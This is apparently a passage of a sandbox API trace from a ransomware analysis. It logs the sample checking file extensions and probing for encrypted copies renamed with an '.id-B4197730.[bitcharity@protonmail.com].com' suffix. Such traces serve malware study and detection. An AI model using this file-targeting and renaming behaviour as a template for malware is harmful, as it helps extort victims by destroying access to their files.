(lpString1=".docx", lpString2="t.xml") returned -1 [0243.501] lstrlenW (lpString=".pdf") returned 4 [0243.501] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0243.501] lstrlenW (lpString=".xls") returned 4 [0243.501] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0243.501] lstrlenW (lpString=".xlsx") returned 5 [0243.501] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0243.501] lstrlenW (lpString=".ppt") returned 4 [0243.501] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0243.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0243.501] lstrlenW (lpString=".zip") returned 4 [0243.501] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0243.501] lstrlenW (lpString=".rar") returned 4 [0243.501] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0243.501] lstrlenW (lpString=".bz2") returned 4 [0243.501] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0243.501] lstrlenW (lpString=".7z") returned 3 [0243.501] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0243.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0243.501] lstrlenW (lpString=".dbf") returned 4 [0243.501] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0243.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0243.501] lstrlenW (lpString=".1cd") returned 4 [0243.502] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0243.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0243.502] lstrlenW (lpString=".jpg") returned 4 [0243.502] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0243.502] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0243.502] lstrlenW (lpString="Content.xml") returned 11 [0243.502] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1130 [0243.503] GetFileSizeEx (in: hFile=0x1130, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=27045) returned 1 [0243.503] CloseHandle (hObject=0x1130) returned 1 [0243.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0243.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0243.503] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0243.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0243.504] lstrlenW (lpString=".doc") returned 4 [0243.504] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0243.504] lstrlenW (lpString=".docx") returned 5 [0243.504] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0243.504] lstrlenW (lpString=".pdf") returned 4 [0243.504] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0243.504] lstrlenW (lpString=".xls") returned 4 [0243.504] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0243.504] lstrlenW (lpString=".xlsx") returned 5 [0243.504] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0243.504] lstrlenW (lpString=".ppt") returned 4 [0243.504] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0243.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0243.504] lstrlenW (lpString=".zip") returned 4 [0243.504] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0243.504] lstrlenW (lpString=".rar") returned 4 [0243.504] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0243.504] lstrlenW (lpString=".bz2") returned 4 [0243.504] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0243.504] lstrlenW (lpString=".7z") returned 3 [0243.504] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0243.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0243.504] lstrlenW (lpString=".dbf") returned 4 [0243.504] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0243.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0243.504] lstrlenW (lpString=".1cd") returned 4 [0243.505] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0243.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0243.505] lstrlenW (lpString=".jpg") returned 4 [0243.505] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0243.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0243.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0243.505] lstrlenW (lpString=".doc") returned 4 [0243.505] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0243.505] lstrlenW (lpString=".docx") returned 5 [0243.505] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0243.505] lstrlenW (lpString=".pdf") returned 4 [0243.505] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0243.505] lstrlenW (lpString=".xls") returned 4 [0243.505] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0243.505] lstrlenW (lpString=".xlsx") returned 5 [0243.505] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0243.505] lstrlenW (lpString=".ppt") returned 4 [0243.505] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0243.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0243.505] lstrlenW (lpString=".zip") returned 4 [0243.505] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0243.505] lstrlenW (lpString=".rar") returned 4 [0243.505] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0243.505] lstrlenW (lpString=".bz2") returned 4 [0243.505] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0243.505] lstrlenW (lpString=".7z") returned 3 [0243.505] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0243.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0243.506] lstrlenW (lpString=".dbf") returned 4 [0243.506] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0243.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0243.506] lstrlenW (lpString=".1cd") returned 4 [0243.506] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0243.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0243.506] lstrlenW (lpString=".jpg") returned 4 [0243.506] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0243.506] lstrcmpiW (lpString1=".avi", lpString2=".com") returned -1 [0243.506] lstrlenW (lpString="boxed-correct.avi") returned 17 [0243.506] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1130 [0243.508] GetFileSizeEx (in: hFile=0x1130, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=111320) returned 1 [0243.508] CloseHandle (hObject=0x1130) returned 1 [0243.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0243.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0243.508] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0243.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0243.508] lstrlenW (lpString=".doc") returned 4 [0243.509] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0243.509] lstrlenW (lpString=".docx") returned 5 [0243.509] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0243.509] lstrlenW (lpString=".pdf") returned 4 [0243.509] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0243.509] lstrlenW (lpString=".xls") returned 4 [0243.509] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0243.509] lstrlenW (lpString=".xlsx") returned 5 [0243.509] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0243.509] lstrlenW (lpString=".ppt") returned 4 [0243.509] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0243.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0243.509] lstrlenW (lpString=".zip") returned 4 [0243.509] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0243.509] lstrlenW (lpString=".rar") returned 4 [0243.509] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0243.509] lstrlenW (lpString=".bz2") returned 4 [0243.509] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0243.509] lstrlenW (lpString=".7z") returned 3 [0243.509] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0243.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0243.509] lstrlenW (lpString=".dbf") returned 4 [0243.509] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0243.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0243.509] lstrlenW (lpString=".1cd") returned 4 [0243.509] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0243.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0243.509] lstrlenW (lpString=".jpg") returned 4 [0243.510] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0243.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0243.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0243.510] lstrlenW (lpString=".doc") returned 4 [0243.510] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0243.510] lstrlenW (lpString=".docx") returned 5 [0243.510] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0243.510] lstrlenW (lpString=".pdf") returned 4 [0243.510] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0243.510] lstrlenW (lpString=".xls") returned 4 [0243.510] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0243.510] lstrlenW (lpString=".xlsx") returned 5 [0243.510] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0243.510] lstrlenW (lpString=".ppt") returned 4 [0243.510] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0243.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0243.510] lstrlenW (lpString=".zip") returned 4 [0243.510] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0243.510] lstrlenW (lpString=".rar") returned 4 [0243.510] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0243.510] lstrlenW (lpString=".bz2") returned 4 [0243.510] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0243.510] lstrlenW (lpString=".7z") returned 3 [0243.510] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0243.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0243.510] lstrlenW (lpString=".dbf") returned 4 [0243.510] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0243.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0243.511] lstrlenW (lpString=".1cd") returned 4 [0243.511] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0243.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0243.511] lstrlenW (lpString=".jpg") returned 4 [0243.511] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0243.511] lstrcmpiW (lpString1=".avi", lpString2=".com") returned -1 [0243.511] lstrlenW (lpString="boxed-delete.avi") returned 16 [0243.511] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1130 [0243.511] GetFileSizeEx (in: hFile=0x1130, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=48936) returned 1 [0243.511] CloseHandle (hObject=0x1130) returned 1 [0243.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0243.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0243.512] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0243.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0243.512] lstrlenW (lpString=".doc") returned 4 [0243.512] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0243.512] lstrlenW (lpString=".docx") returned 5 [0243.512] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0243.512] lstrlenW (lpString=".pdf") returned 4 [0243.512] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0243.512] lstrlenW (lpString=".xls") returned 4 [0243.512] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0243.512] lstrlenW (lpString=".xlsx") returned 5 [0243.512] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0243.512] lstrlenW (lpString=".ppt") returned 4 [0243.512] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0243.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0243.512] lstrlenW (lpString=".zip") returned 4 [0243.513] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0243.513] lstrlenW (lpString=".rar") returned 4 [0243.513] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0243.513] lstrlenW (lpString=".bz2") returned 4 [0243.513] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0243.513] lstrlenW (lpString=".7z") returned 3 [0243.513] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0243.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0243.513] lstrlenW (lpString=".dbf") returned 4 [0243.513] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0243.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0243.513] lstrlenW (lpString=".1cd") returned 4 [0243.513] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0243.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0243.513] lstrlenW (lpString=".jpg") returned 4 [0243.513] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0243.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0243.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0243.513] lstrlenW (lpString=".doc") returned 4 [0243.513] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0243.513] lstrlenW (lpString=".docx") returned 5 [0243.513] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0243.513] lstrlenW (lpString=".pdf") returned 4 [0243.513] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0243.513] lstrlenW (lpString=".xls") returned 4 [0243.513] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0243.514] lstrlenW (lpString=".xlsx") returned 5 [0243.514] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0243.514] lstrlenW (lpString=".ppt") returned 4 [0243.514] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0243.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0243.514] lstrlenW (lpString=".zip") returned 4 [0243.514] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0243.514] lstrlenW (lpString=".rar") returned 4 [0243.514] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0243.514] lstrlenW (lpString=".bz2") returned 4 [0243.514] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0243.514] lstrlenW (lpString=".7z") returned 3 [0243.514] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0243.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0243.514] lstrlenW (lpString=".dbf") returned 4 [0243.514] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0243.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0243.514] lstrlenW (lpString=".1cd") returned 4 [0243.514] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0243.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0243.514] lstrlenW (lpString=".jpg") returned 4 [0243.514] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0243.514] lstrcmpiW (lpString1=".avi", lpString2=".com") returned -1 [0243.514] lstrlenW (lpString="boxed-join.avi") returned 14 [0243.515] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1130 [0243.515] GetFileSizeEx (in: hFile=0x1130, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=46622) returned 1 [0243.516] CloseHandle (hObject=0x1130) returned 1 [0243.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0243.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0243.516] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0243.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0243.516] lstrlenW (lpString=".doc") returned 4 [0243.516] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0243.516] lstrlenW (lpString=".docx") returned 5 [0243.516] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0243.516] lstrlenW (lpString=".pdf") returned 4 [0243.516] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0243.516] lstrlenW (lpString=".xls") returned 4 [0243.516] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0243.516] lstrlenW (lpString=".xlsx") returned 5 [0243.516] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0243.516] lstrlenW (lpString=".ppt") returned 4 [0243.517] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0243.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0243.517] lstrlenW (lpString=".zip") returned 4 [0243.517] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0243.517] lstrlenW (lpString=".rar") returned 4 [0243.517] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0243.517] lstrlenW (lpString=".bz2") returned 4 [0243.517] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0243.517] lstrlenW (lpString=".7z") returned 3 [0243.517] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0243.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0243.517] lstrlenW (lpString=".dbf") returned 4 [0243.517] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0243.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0243.517] lstrlenW (lpString=".1cd") returned 4 [0243.517] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0243.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0243.517] lstrlenW (lpString=".jpg") returned 4 [0243.517] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0243.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0243.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0243.517] lstrlenW (lpString=".doc") returned 4 [0243.517] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0243.517] lstrlenW (lpString=".docx") returned 5 [0243.517] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0243.517] lstrlenW (lpString=".pdf") returned 4 [0243.517] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0243.518] lstrlenW (lpString=".xls") returned 4 [0243.518] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0243.518] lstrlenW (lpString=".xlsx") returned 5 [0243.518] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0243.518] lstrlenW (lpString=".ppt") returned 4 [0243.518] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0243.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0243.518] lstrlenW (lpString=".zip") returned 4 [0243.518] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0243.518] lstrlenW (lpString=".rar") returned 4 [0243.518] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0243.518] lstrlenW (lpString=".bz2") returned 4 [0243.518] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0243.518] lstrlenW (lpString=".7z") returned 3 [0243.518] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0243.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0243.518] lstrlenW (lpString=".dbf") returned 4 [0243.518] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0243.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0243.518] lstrlenW (lpString=".1cd") returned 4 [0243.518] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0243.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0243.518] lstrlenW (lpString=".jpg") returned 4 [0243.518] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0243.519] lstrcmpiW (lpString1=".avi", lpString2=".com") returned -1 [0243.519] lstrlenW (lpString="boxed-split.avi") returned 15 [0243.519] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1130 [0243.519] GetFileSizeEx (in: hFile=0x1130, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=84190) returned 1 [0243.519] CloseHandle (hObject=0x1130) returned 1 [0243.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0243.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0243.519] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 